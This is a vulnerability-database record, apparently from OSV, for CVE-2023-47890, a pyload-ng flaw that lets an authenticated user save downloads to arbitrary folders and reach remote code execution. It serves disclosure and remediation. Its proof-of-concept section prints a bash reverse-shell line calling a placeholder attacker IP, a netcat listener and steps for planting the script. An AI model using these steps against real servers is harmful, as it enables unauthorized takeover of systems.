{"id":"CVE-2023-47890","aliases":["GHSA-h73m-pcfw-25h2","PYSEC-2026-1819"],"title":"Download to arbitrary folder can lead to RCE","summary":"Download to arbitrary folder can lead to RCE","severity":"high","cvss":7.6,"cvssVector":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","vendor":"pyload-ng","product":"pyload-ng","ecosystem":"pip","affected":["pyload-ng < 0.5.0b3.dev75"],"patched":["pyload-ng 0.5.0b3.dev75"],"published":"2023-11-21","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-h73m-pcfw-25h2","references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47890"},{"url":"https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f"},{"url":"https://github.com/pyload/pyload"},{"url":"http://pyload.com"}],"tags":["osv","pip"],"epss":0.01058,"epssPercentile":0.63022,"ingestedAt":"2026-07-08T18:25:50.006Z","slug":"CVE-2023-47890","body":"## Overview\n\n### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://<attacker_ip>/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.\n\n## Affected packages\n\n- `pyload-ng < 0.5.0b3.dev75`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pyload-ng 0.5.0b3.dev75`","depth":"twilight","depthScore":42,"depthScoreParts":{"impact":41.8,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}